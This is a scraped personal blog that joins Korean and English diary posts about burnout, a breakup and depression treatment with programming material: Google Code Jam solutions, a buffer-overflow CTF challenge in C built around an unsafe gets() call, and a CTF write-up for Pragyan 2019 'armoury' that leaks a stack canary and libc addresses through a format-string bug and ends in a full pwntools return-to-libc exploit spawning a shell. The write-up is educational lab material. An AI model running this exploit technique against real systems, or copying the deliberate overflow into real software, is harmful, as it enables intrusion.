반응형

새로운 블로그로 찾아뵙겠다고 해놓고. 한거 하나도 없다;

인생 뭔지 잘 모르겠다 별거 할 힘도 안나고 의지도 없고 그냥 쉽게쉽게 살고 싶다

그리고 생각보다 정신적인 피로함이 내 몸에 미치는 영향 너무 크다

별 생각 안하고 살고싶다


나는 잘 살고 있다

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

20210113 - 캐나다로의 여정  (0) 2021.01.13
20200822 오늘의 뻘글  (0) 2020.08.22
20200807 오늘의 뻘글  (0) 2020.08.07
20200127 오늘의 뻘글  (0) 2020.01.28
20190828 오늘의 근황  (0) 2019.08.29
20190724 오늘의 뻘글  (0) 2019.07.25
반응형

나를 되돌아보며.


이 블로그를 사용한지도 7년이 되가는 듯 하다. 잘 몰랐는데 그러함

이제는 css와 html을 배워서 (지금까지 프론트엔드는 전혀 건드려본적이 없음) 새로 이사갈 때도 되었는데 만들기 시작한 블로그는 진전이 없다.. 역시 프레임워크를 사용해야 어느정도 볼만한게 나오는듯. 과연 내 블로그정도의 템플릿을 무에서 창조하려면 얼만큼의 시간이 걸리는지 짐작할 수가 없다.


여든 지난번의 근황으로부터 지금까지 일어난 일을 정리해보자면,

같이 놀던 그 친구와는 남친여친 관계를 성립해 잘 지내고 있고. 요즘은 또 코딩에 맛들려 이것저것 생각중이다. 

예전이면 구상으로 끝냈을텐데 조금씩 시작하고 있고. CTF 또는 과제 아니면 코드에 손도 안대던 내가 좀 변한 것 같다.


생각해보면 이 블로그를 시작했을 때부터 지금까지 나는 천천히 계속 변해왔다. 예전과 관심사는 비슷하지만 하는것도 다르고 생각도 많이 다르지.

블로그를 이사하게 되면 글은 스케쥴에 맞춰서 작성할 예정이다. 더 테크니컬하고 뻘글은 덜한, 내 여러 시도들을 적어내려갈 예정이다. 하드웨어, 소프트웨어, 취미. 마치 유튜버이지만 글로 적는 그런 느낌을 원한다. 관객을 위해 글을 적는 느낌이라고 볼 수도 있겠는데, 그렇지는 않을 것이다. 그러기에 나는 그럴 인내심이 없고, 나는 내 이야기를 하지 않고서는 못 배기는 사람이기 때문에 관객이 있던 없던간에 나는 적어 내려갈 것이다. 굳이 뻘글을 쓰고 싶다면 다시 여기로 오면 되겠지. 하지만 요즘 나는 일기 없이도 잘 살고 있다. 그냥 하루하루를 최선을 다해 살고 있다. 대충 그런 느낌.


하지만.. 각 글당 이미지는 최소 한개 첨부해야. 이러면 무언가 양식이.. 포맷이. 어쩌구. 어쨋든 시스테마틱(systematic)한 접근을 할 것이라는 것이다. 먼소린지 모르겠다. 지금의 나는 과제하다보니 뻘글이 쓰고싶어져서 쓰는중이다. FTP Client를 만드는 과제인데, 서버는 멀쩡히 동작하는데 무언가 부족한 내 코드를 보니 마음이 아프다. 나는 왜이렇게 뭐하나 배우는게 오래 걸리지... 늘 어려운것도 아닌데 고생하는거 보면 참 기분이 묘하다. 뭐가 부족한 걸까.


내 글들을 읽어보니 난독증(같이 집중을 못하고 문제를 못풀고 그래서 힘들었던..)은 2014년부터 달고 살았던 것 같은데, 아직도 그러다니 참 징하다. 언젠간 고칠 수 있겠지.


7년의 블로그생활 (예전 블로그를 포함하면 더욱 더 긴 나의 블로거생활)중 기억에 남는건 https://evertokki.tistory.com/20?category=1036278 이 포스트. 첫번째 아이디어는 요즘 지문인식 다 되잖아? 아직 웹사이트 인증은 하지 못하지만 (컴퓨터로) 곧 그런 날도 오겠지. 3번은 개인적으로 내가 만들 수 있는 기능인 것 같다. ㅋㅋ


예전에는 아등바등해도 노력해서 엔지니어급의 프로그래머가 되고싶었던 것 같은데, 아무래도 그러기엔 나의 로직과 수학능력이 너무 부족하다. 엔지니어급의 자리를 따더라도 굉장히 불행할 것 같음. 요즘은 HR에 가까운 테크니컬 프로그램/프로젝트 매니저를 목표로 하고 있음. 잘 되었으면 좋겠다.


아무래도 이 글이나 다음글이 이 블로그에 남기는 내 마지막 작별인사일 것 같다.

모두들 새해 잘 보내셨길 바라고, 나는 새로운 블로그로 찾아뵙겠다.


반응형

'KOREAN > 뻘글' 카테고리의 다른 글

20200822 오늘의 뻘글  (0) 2020.08.22
20200807 오늘의 뻘글  (0) 2020.08.07
20200127 오늘의 뻘글  (0) 2020.01.28
20190828 오늘의 근황  (0) 2019.08.29
20190724 오늘의 뻘글  (0) 2019.07.25
burnt out  (0) 2018.03.28
반응형

근황.


남친이 생겼다. 

소개팅으로 만났는데, 주선자 친구가 말을 제대로 못 알아들었나보다. 

상대방은 플링(단기간 연애)상대를 원했고 나는 그냥 " '-' 심심해! " 이래서 나온거지.

나쁘진 않다. 오히려 인생에 즐거운일 하나 생긴 것 같은 기분이다. 스트레스 해소가 된달까. 그리고 굉장히 편하다. 집도있고 차도있고 돈도있고 매우 편하군.


근데 아무리 생각해도 남자들은 굉장히 이기적이더라. 

처음에는 감정적인 내가 싫었는데 생각해보니 감정적인 나를 탓할게 아니라 감정적일 수 없는 남자들이 병신인거다. 

이렇게 다양한 감정들을 느낄 수 없고 이에 공감할 수 없는 니들이 불쌍하군.

¯\_(ツ)_/¯ 감정 느끼는 내가 더 잘났어. 나름 이렇게 정신승리중.


여튼. Emotionally unavailable한 남자들 정말 싫어하지만 어째 늘 이런 놈들만 꼬이는 것 같다.

내가 그런 타입을 좋아하는 것 같다. 좀 따듯하고 감정적인 남자 만나면 뭐가 덧나나.

많이 나아졌는데도 아직 내 나약한면의 감정을 나누는건 약한 사람이나 하는거라고 믿는 것 같다.

아직 갈 길이 멀다. 

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

20200807 오늘의 뻘글  (0) 2020.08.07
20200127 오늘의 뻘글  (0) 2020.01.28
20190828 오늘의 근황  (0) 2019.08.29
20190724 오늘의 뻘글  (0) 2019.07.25
burnt out  (0) 2018.03.28
osu! and walls  (0) 2018.02.05
반응형
오랜만에 한국어로 뻘글을 적어보는군. 유학 오고 나서는 한국어를 쓸 일이 별로 없어서 영어가 편해졌던 것 같다. 하지만 이번 여름, 두달동안 한국에 있다가 왔으니 지금은 한글이 더 편하다! 그러므로 한글로 작성하겠다.
사실은 지난 5일이 어떻게 지나갔는지 기억이 전혀 나지 않는다. 침대에서 우울함과 시간개념을 상실한채 끼니를 굶고 게임만 하고 하다 보니 시간이 너무 빨리 지나갔다. 정말 이런 경험은 다신 하고싶지 않다. 정신이 녹아내리는 느낌이라고 표현할 수 있겠다. 시간이 너무 빨리 지나갔고, 정신을 차려보면 저녁이었다. 잠에 든것과 깨어있는 시간의 차이가 없었으며, 잠을 자는 그 짧은 시간동안에도 꿈에 시달렸다. 그렇게 꿈과 현실의 경계없이 깊은 잠에 들지도 못한채 침대에 계속 누워있었다. 무려 5일동안.
어제쯤 정신이 들었는데, 내 몸의 생존신호였을까? 침대에서 일어날 힘도 생기고 사람다운 시간에 기상해서 (새벽 5시) 커튼을 열고 밀린 일(짐풀기)을 해내니 너무 힘들었지만 해야할 일을 반쯤 끝낸 것 같아 뿌듯했다. 그 이후에는 샤워를 해야 했는데, 하는 동안 잘 숨이 안쉬어져서 쉬엄쉬엄 하고 있던 터에 눈앞이 깜깜해지고 어질해서 잠시 앉아있었다. 굶어서인지는 모르겠지만 저혈압때문에 기절할 뻔했 던 것 같다. 사태의 심각성을 깨닫고 오랜만의 제대로된 끼니 하나를 때웠다. 
오늘은 훨씬 기분이 좋다. 이렇게 나는 살아가는구나.

밑에는 요즘 연속으로 듣고 있는 노래의 가사이다. 나는 이 가사에 대한 나름의 해석이 있었는데 다른 분이 이걸 영어로 번역해놓고서는 해석이 다른 것을 보고 신기하여 내 생각도 적어보고싶다는 충동이 들었다. 사실 이 뻘글도 그래서 쓰기 시작한 글이다.
Way Back Home
Shaun

멈춘 시간 속 잠든 너를 찾아가
아무리 막아도 결국 너의 곁인 걸
길고 긴 여행을 끝내 이젠 돌아가
너라는 집으로 지금 다시 way back home

아무리 힘껏 닫아도 다시 열린 서랍 같아
하늘로 높이 날린 넌 자꾸 내게 되돌아와
힘들게 삼킨 이별도 다 그대로인 걸

수없이 떠난 길 위에서 난 너를 발견하고
비우려 했던 맘은 또 이렇게 너로 차올라
발걸음의 끝에 늘 니가 부딪혀
그만 그만

멈춘 시간 속 잠든 너를 찾아가
아무리 막아도 결국 너의 곁인 걸
길고 긴 여행을 끝내 이젠 돌아가
너라는 집으로 지금 다시 way back home

조용히 잠든 방을 열어 기억을 꺼내 들어
부서진 시간 위에서 선명히 너는 떠올라
길 잃은 맘 속에 널 가둔 채 살아
그만 그만

멈춘 시간 속 잠든 너를 찾아가
아무리 막아도 결국 너의 곁인 걸
길고 긴 여행을 끝내 이젠 돌아가
너라는 집으로 지금 다시 way back home

세상을 뒤집어 찾으려 해
오직 너로 완결된 이야기를
모든 걸 잃어도 난 너 하나면 돼

빛이 다 꺼진 여기 나를 안아줘

눈을 감으면 소리 없이 밀려와
이 마음 그 위로 넌 또 한 겹 쌓여가
내겐 그 누구도 아닌 니가 필요해
돌아와 내 곁에 그날까지 I'm not done

최근에 난 이별을 했기 때문에 이 노래가 이별노래로밖에 들리지 않았다.. 
나의 마음에 네가 저장되어있고 (과거의 너) 아무리 그러지 않으려 노력해도 글쓴이는 자꾸 옛 애인에게 돌아가게 된다는, '너'라는 집 (익숙하며 포근한 곳) 으로 계속 돌아가게 된다는 그런 내용. 힘들게 이별을 이미 받아들였는데도 자꾸 상대의 생각이 나고, 상대가 계속 꿈에 나타나고, 계속 돌아오고. 여행이라 함은 방황, 그로써 글쓴이가 이별 전이던 후던간에 방황하다가 드디어 옛 애인한테로 돌아간다는 내용인줄 알았다....... 그래서 그 결론에 도달한 글쓴이가 다시 고백을 한다는 그런 내용으로 이해했던 것이다.

근데 내가 본 댓글에는 "연인이 죽어서 계속 그 연인에 대해 생각하게 되는 사람의 노래"라고 적혀있었다... 가사를 제대로 읽어보니 이게 더 제대로 된 해석 같다.

관점의 차이가 신기하다,

끗.


반응형

'KOREAN > 뻘글' 카테고리의 다른 글

20200127 오늘의 뻘글  (0) 2020.01.28
20190828 오늘의 근황  (0) 2019.08.29
20190724 오늘의 뻘글  (0) 2019.07.25
burnt out  (0) 2018.03.28
osu! and walls  (0) 2018.02.05
Volunteering 2017-2018  (0) 2018.01.31
반응형

Yo. Long time no blog. I've been having a lot of things on my mind lately and a lot of growth too. I broke up with my boyfriend three months ago, and I've grown so much since then I thought I might as well write about stuff I've learnt. So here I am.

First month was bad. But it was okay to be miserable. I fucked up on my midterms and stuff but it was okay. (Actually it was not and my professors had no mercy but at least I didn't fail anything.) I let myself be okay and sad first. I think that helped a lot.

Second month was also bad but less bad. I had more time in hand, although it also meant a lot of late night thoughts endlessly occupying my mind. So they balanced out? Hmm. I made more real friends, as in, I got closer to my old friends and realized what it meant to have a close friend. It's a nice feeling, I gotta say. We went shopping together, spent a movie night wasted, took funny pictures and had good times and I feel comfortable opening up a bit more than I used to. :)

Third month was still difficult as fuck but I found myself more productive than when I was in a relationship. Ironic. Although I miss the companionship, this finals exam season wasn't that bad. If anything, I studied more than before and that makes me sad. Why can't my productivity and a relationship work at the same time?! It'd be great if I could have both.


Today I finally visited a mental clinic and diagnosed the root of my problems and turns out it's mild depression but it's been going on for some time (at least three years) so the doctor decided it might be a good idea to medicate me. Turns out it was a good idea. Depression is an imbalance of hormones so I'm all for meds that fix it as long as I don't kill my liver in the process. I didn't think about him tonight, which is the one thought that always kept me up at night. Can't believe something so small (the medicine) can actually make an impact. I'm much more content going to bed. The antidepressants I'm taking tomorrow morning is supposed to let myself be a little bit more motivated, I hope it clears a bit of my brain fog. Anyways. I learned a lot about me and how I work, what I want is still a work in progress but I'm happy just being myself. I just miss my friend, that's all. I've been meeting TONS of my old and new friends and the empty space of that one person is still pretty significant. Ouch. :')


Maybe one day we could meet as friends again. Until that day I'll work on becoming the best version of myself. :) Cheers, people. 


반응형

'BLOG > DIARY' 카테고리의 다른 글

[모나미] 홍보책자로 다이어리 꾸미기  (0) 2020.10.04
20190530 Today's rant  (0) 2019.05.30
A letter to my best friend  (0) 2019.02.25
Why you should write documentation  (0) 2019.02.17
Reminder not to click on shady urls.  (0) 2019.02.10
20180414 Today's Rant  (0) 2018.04.14
반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
 
void open_flag() {
  char flag[120];
  char email[] = "chanbin.lee123@gmail.com";
  FILE * file;
  file = fopen("flag.txt""r");
  if (file == NULL) {
    printf("Please contact %s, I couldn't find the flag file!\n", email);
    exit(0);
  }
  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
}
 
int main() {
  long key = 0x00000000;
  char buf[10];
  printf("Can you change my key to 0x12345678?\n");
  printf("I can’t open the flag otherwise!\n");
  printf("My key value is: 0x%08x\n", key);
  printf("What do you think?\n> ");
 
  gets(buf);
  printf("\nMy key is: 0x%08x\n", key);
 
  If(key == 0x12345678) {
    printf("Whoa, you changed my key! Good job!\nHere's the flag:\n");
    open_flag();
    exit(0);
  }
 
  if (key == 0x00000000) {
    printf("My key didn't change! Try again.\n");
    return 0;
  }
 
  printf("You're close! Keep trying.\n");
  return 0;
}
 
cs


hints

On a stack, where are the variables stored and in what order?

How big is the buffer? Does the program care about how long your input is?

What happens if you give an input bigger than what’s expected?

What are endians?



반응형

'STUDY > Documentation' 카테고리의 다른 글

Simple BOF Problem  (0) 2019.04.10
Debugging your ROP  (0) 2019.02.18
해커스쿨 문서 백업 (Syshacks)  (0) 2019.02.17
Bufferoverflow 기법 정리  (0) 2015.09.22
핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
반응형

Foregone Solution

Problem

Someone just won the Code Jam lottery, and we owe them N jamcoins! However, when we tried to print out an oversized check, we encountered a problem. The value of N, which is an integer, includes at least one digit that is a 4... and the 4 key on the keyboard of our oversized check printer is broken.

Fortunately, we have a workaround: we will send our winner two checks for positive integer amounts A and B, such that neither A nor B contains any digit that is a 4, and A + B = N. Please help us find any pair of values A and B that satisfy these conditions.

Input

The first line of the input gives the number of test cases, T. T test cases follow; each consists of one line with an integer N.

Output

For each test case, output one line containing Case #x: A B, where xis the test case number (starting from 1), and A and B are positive integers as described above.

It is guaranteed that at least one solution exists. If there are multiple solutions, you may output any one of them. (See "What if a test case has multiple correct solutions?" in the Competing section of the FAQ. This information about multiple solutions will not be explicitly stated in the remainder of the 2019 contest.)

Limits

1 ≤ T ≤ 100.
Time limit: 10 seconds per test set.
Memory limit: 1GB.
At least one of the digits of N is a 4.

Test set 1 (Visible)

1 < N < 105.

Test set 2 (Visible)

1 < N < 109.

Solving the first two test sets for this problem should get you a long way toward advancing. The third test set is worth only 1 extra point, for extra fun and bragging rights!

Test set 3 (Hidden)

1 < N < 10100.

Sample

In Sample Case #1, notice that A and B can be the same. The only other possible answers are 1 3 and 3 1.

My Solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<math.h>
int main (){
    
    int loop = 0;
    scanf ("%d"&loop);
    
    for(int i=0; i < loop; i++){
        int input = 0;
        int count = 1;
        scanf ("%d"&input);
 
        int output1 = input;
        int output2 = 0;
 
        while (output1 >= 4){
            if (output1 % 10 == 4){
                output2 += pow(10, (count-1));
            } 
            output1 = output1 / 10;
            count++;
        }
        printf ("Case #%d: %d %d\n", i+1, input - output2, output2);
    }
        return 0;
}
cs

 

You Can Go Your Own Way

Problem

You have just entered the world's easiest maze. You start in the northwest cell of an N by N grid of unit cells, and you must reach the southeast cell. You have only two types of moves available: a unit move to the east, and a unit move to the south. You can move into any cell, but you may not make a move that would cause you to leave the grid.

You are excited to be the first in the world to solve the maze, but then you see footprints. Your rival, Labyrinth Lydia, has already solved the maze before you, using the same rules described above!

As an original thinker, you do not want to reuse any of Lydia's moves. Specifically, if her path includes a unit move from some cell A to some adjacent cell B, your path cannot also include a move from A to B. (However, in that case, it is OK for your path to visit A or visit B, as long as you do not go from A to B.) Please find such a path.


In the following picture, Lydia's path is indicated in blue, and one possible valid path for you is indicated in orange:

Input

The first line of the input gives the number of test cases, T. T test cases follow; each case consists of two lines. The first line contains one integer N, giving the dimensions of the maze, as described above. The second line contains a string P of 2N - 2 characters, each of which is either uppercase E (for east) or uppercase S (for south), representing Lydia's valid path through the maze.

Output

For each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is a string of 2N - 2 characters each of which is either uppercase E (for east) or uppercase S (for south), representing your valid path through the maze that does not conflict with Lydia's path, as described above. It is guaranteed that at least one answer exists.

Limits

1 ≤ T ≤ 100.
Time limit: 15 seconds per test set.
Memory limit: 1GB.
P contains exactly N - 1 E characters and exactly N - 1 S characters.

Test set 1 (Visible)

2 ≤ N ≤ 10.

Test set 2 (Visible)

2 ≤ N ≤ 1000.

Test set 3 (Hidden)

For at most 10 cases, 2 ≤ N ≤ 50000.
For all other cases, 2 ≤ N ≤ 10000.

Sample

In Sample Case #1, the maze is so small that there is only one valid solution left for us.

Sample Case #2 corresponds to the picture above. Notice that it is acceptable for the paths to cross.

My Solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
loop = int(input())
for i in range(loop):
    size = int(input())
    lydia = input()
    my_str = ""
    
    for char in lydia:
        if char == "S":
            my_str += "E"
        else:
            my_str += "S"
            
    print("Case #{}: {}".format(i+1,my_str))
cs
반응형

'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08
[Pragyan 2019] armoury [KR]  (0) 2019.03.22
[Pragyan 2019] armoury  (0) 2019.03.21
  1. BlogIcon mrsign92 2020.11.26 03:03

    도움되는 글 매우 잘 배우고 갑니다

반응형

armoury


0. 들어가기 전에 필요한 것


gdb-peda랑 pwntools 다운받기

- 버퍼오버플로우와 RTL (Return-to-Libc)기법에 대한 이해

- 64비트 환경이 32비트 환경과 어떤 점(레지스터, 함수 호출)이 다른지에 대한 이해


P.S: gdb에서 ASLR 키는 법:

set disable-randomization off


이 글은 Naivenom님의 라잇업을 참고하여 쓴 글입니다.




1. 프로그램 실행


바이너리를 돌려보면 포맷 스트링 버그가 일어나는걸 볼 수 있다. (물론 IDA로 뜯어 보아도 좋다.. 하지만 귀찮기 때문에 생략함) 


chanbin_lee123@linux:~$ ./armoury

*******Rifle Database**************


Enter the name of Rifle to get info:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


----------------DATA-------------------

0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:

Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

---------------------------------------


Enter the name of Rifle to get info:

^C


보면 주소랑 스택이랑 줄줄 샌다.. 처음에 몇몇 주소들이 릭되고 9번째 인자부터 보면 스택의 내용이 그대로 릭되는걸 볼 수 있다. (빨간색 글씨가 스택의 내용물)


이 다음에 해야 할 것은 프로그램의 보안기법을 확인하는것.


chanbin_lee123@linux:~$ gdb -q armoury

Reading symbols from armoury...(no debugging symbols found)...done.

gdb-peda$ checksec

CANARY    : ENABLED 

FORTIFY   : disabled

NX        : ENABLED

PIE       : ENABLED

RELRO     : FULL


Canary (Stack Smashing Protector, Cookie): 카나리는 널바이트로 끝나는 문자열인데, sfp와 ret 전에 위치하고 있다. (스택에 들어가있다는 뜻) 프로그램이 종료되기 전 이 값을 초기에 로드했던 값과 비교하는데, 이 값이 스택에서 변조되어 있으면 버퍼오버플로우 취약점으로 인해 값이 변조된걸 알아채고 프로그램을 그자리에서 끔살시켜버린다. 정말로 어마무시한 기법이 아닐 수가 없다. (하지만 위에서 말했던 대로 스택이 줄줄 새는 상태에서 카나리라고 안 샐 법이 없겠지?)


NX: Non-executable - 스택에 실행권한이 없다. 쉘코드를 스택에 올려서 돌리는 짓을 할 수 없다 이말이다.


ELF: Executables and Linkable Format 바이너리 파일. 실행파일임. ROP에 사용할 수 있는 가젯들을 포함하고 있다.


PIE: Position Independent Executable - PIE == ASLR이라는 소리를 들었는데 아니라더라.(젠장) PIE의 뜻은 님의 ELF파일을 실행했을때 임의의 주소에 얹혀서 돌아갈거란 소리임 (.data .code..등등).  "objdump -d <ELF executable>"로 확인하면 주소값이 주소가 아닌 오프셋으로 나와있는게 보인다. 랜덤한 베이스 주소에 오프셋을 더해서 프로그램을 돌림. 그래서 하고싶은 말은 ROP를 하려면 가젯을 사용하고 싶은데 어떤 주소를 써야할지 모르겠는 상황이 와버림. 근데 오프셋은 똑같으니 베이스 주소만 있으면 오프셋 더해서 아무거나 호출할 수 있음.


ASLR (non-PIE): 스택, 힙, 라이브러리(libc)의 주소를 임의로 정한다. non-PIE가 걸리면 적어도 메인 바이너리는 늘 같은 곳에 로드될거란 뜻


RELRO: 이게 FULL이면 GOT Overwrite가 불가능하다. GOT가 읽기권한으로 스폰되기 때문임.




2. 여기저기서 준비물 모으기


필요한거:
- 카나리 릭

- 가젯 (pop rdi; ret)

- libc 주소 세개:

- libc 베이스 주소

- libc베이스부터 system()까지의 오프셋

libc베이스부터 "/bin/sh"까지의 오프셋


2.1. 카나리 릭


gdb로 까서 main에 브포를 걸어서 (b *main) 대충 실행하고 (r) 프로그램에 대충 입력("BBBB")을 주고 브포가 걸리면 $rsp에 뭐가 들었나 구경해보자.

스택에 있는 정보를 릭할 수 있는건 이미 알고 있으니까 이번에는 어떤 것을 릭해야하는지 알아보는 차례.



BBBB (0x42424242)가 보인당. 좀 더 보다보면 카나리가 보인당. (널바이트로 끝남) 카나리 뒤의 sfp도 보이고, ret주소도 보인다.

스택의 시작이 %9$p였으므로 카나리는 %13$p, sfp는 %14$p로 구할 수 있다! 


2.2. ELF 베이스 주소



SFP(저장된 RBP)를 보고 위의 정보와 비교해보면, %14$p에서 마지막 세 바이트만 0으로 대체하면 베이스 주소를 얻을 수 있는게 보인다.

가젯을 쓰려면 오프셋이 필요하니까 이 주소도 필요하다.


2.3. LIBC 베이스 주소


이번엔 giveInfo에 브포를 건다. 프로그램을 실행할 때 %3$p를 주면 gdb-peda가 주소를 하나 뱉는다.




위처럼 libc베이스 주소를 참조하여 필요한 물건들의 오프셋을 구한다. 배고프다. 

gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000 

$1 = 0xdb970


gdb-peda$ p system

$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>


gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000 

$3 = 0x3f480


구한 것들:

%3$p: <__write_nocancel+7>의 주소

libc까지의 오프셋: 0xdb970

libc부터 system까지의 오프셋: 0x3f480


--> %3$p - libc까지의 오프셋 + libc부터 system까지의 오프셋 = system주소 (in libc)


2.4. "/bin/sh"의 주소


gdb-peda$  find "/bin/sh"

Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:

libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')


gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000 

$4 = 0x161c19


2.5. ROP 가젯 (pop rdi; ret)


chanbin_lee123@instance-2:~$ ROPgadget --binary armoury

Gadgets information

============================================================

0x0000000000000d03 : pop rdi ; ret




3. POC


BUFFER [24]

CANARY [8]

DUMMY [8]

POP RDI; RET [8]

ADDRESS OF "/BIN/SH" [8]

ADDRESS OF SYSTEM() [8]


(64비트환경의 Return-to-libc 기법)




4. Exploit 설명


풀 익스플로잇은 스크롤을 내리면 보일 것이다. 

정보는 나누어 가지는 것이라고 배웠기 때문에 최선을 다해 설명하겠다..


1
2
3
4
5
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
cs

우리는 3번째, 13번째, 14번째 인자를 원하므로 주소들을 릭한다.


1
2
3
4
5
6
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
cs
릭된 주소들을 '.'에 따라 나눈다. 

leak[0] = 3번째 인자, leak[1] = 카나리, leak[2] = sfp

오프셋도 저장함.


1
2
3
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
cs

오프셋으로 각각의 주소를 계산한다. (이게 이해가 안된다면 2.3 다시 읽어보기)

1
2
3
4
5
6
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)

offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
cs
카나리를 숫자로 변환하고, ELF베이스를 계산한다. 

&0xfff 오퍼레이션을 하게 되면 그 주소의 마지막 3바이트를 얻게 되니 그걸 원 주소에서 빼면 된다.


1
2
3
4
5
6
7
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
cs
위에 적어놓은 대로 (POC) 전형적인 RTL기법이다. system() 인자가 RDI로 넘겨지므로 RDI에 /bin/sh의 주소를 넣고 system()을 호출한다.





5. Full Exploit 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
= process("./armoury")
 
payload = ""
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n"# libc address, canary, saved rbp
 
r.recvuntil("----------------DATA-------------------\n")
 
leak = r.recvuntil(":").replace(":""").split(".")
leaked_libc = int(leak[0], 16)
 
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
 
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
 
print "libc address: " + hex(libc_addr)
print "system address: " + hex(system_addr)
print "binsh address: " + hex(binsh_addr)
 
canary = int(leak[1], 16)
leaked_elf = int(leak[2], 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)
 
print "canary: " + hex(canary)
print "elf address: " + hex(elf_addr)
 
offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
 
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
 
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("AAAA\n")
 
r.recvuntil("Would you like to give us some feedback:\n")
r.send(payload)
 
r.interactive()
cs


반응형

'CTF > Writeup' 카테고리의 다른 글

Google Code Jam 2019 Qualification Rounds  (1) 2019.04.08
[Pragyan 2019] armoury [KR]  (0) 2019.03.22
[Pragyan 2019] armoury  (0) 2019.03.21

+ Recent posts